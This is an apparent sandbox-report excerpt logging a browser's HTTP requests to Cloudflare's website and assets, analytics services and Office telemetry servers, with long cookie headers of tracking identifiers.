kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094231495\|1\|1\|bat.bing.com/p/insights/c/u; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZ
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/4xn47h0gWiUSwJ0PU3Ysvk/683779108bfd6eeb62fbac5135780fe6/logo_loreal_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094231495\|1\|1\|bat.bing.com/p/insights/c/u; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGF
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3fy2mc73AF9xqD18C5760R/f46ab68d38c9adb30a639f69589d8af0/doordash_134.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094231495\|1\|1\|bat.bing.com/p/insights/c/u; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==;
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /page-data/app-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094230943%2C%22hasActivity%22:true%2C%22recordingConditionThreshold%22:50.12874518679207}; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094231495\|1\|1\|bat.bing.com/p/insights/c/u; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=f492359e-8130-436c-949e-e1d5b4f1715a HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094230943%2C%22hasActivity%22:true%2C%22recordingConditionThreshold%22:50.12874518679207}; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094231495\|1\|1\|bat.bing.com/p/insights/c/u; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIj
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/6VUhUMEcvn3L3j88LttHzC/b2cf2b702aad874db9cb61b0028e9c40/logo_garmin_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094231495\|1\|1\|bat.bing.com/p/insights/c/u; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGF
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/OMwO1Fr8BxHVum0iBbatc/979c1807f5810edc903d4b07c18e0cb0/logo_ibm_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094231495\|1\|1\|bat.bing.com/p/insights/c/u; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=5800add8-caaa-4f7b-8872-1ef83a3ff082&_u=KGDAAEADQAAAAC%7E&z=1072137457 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
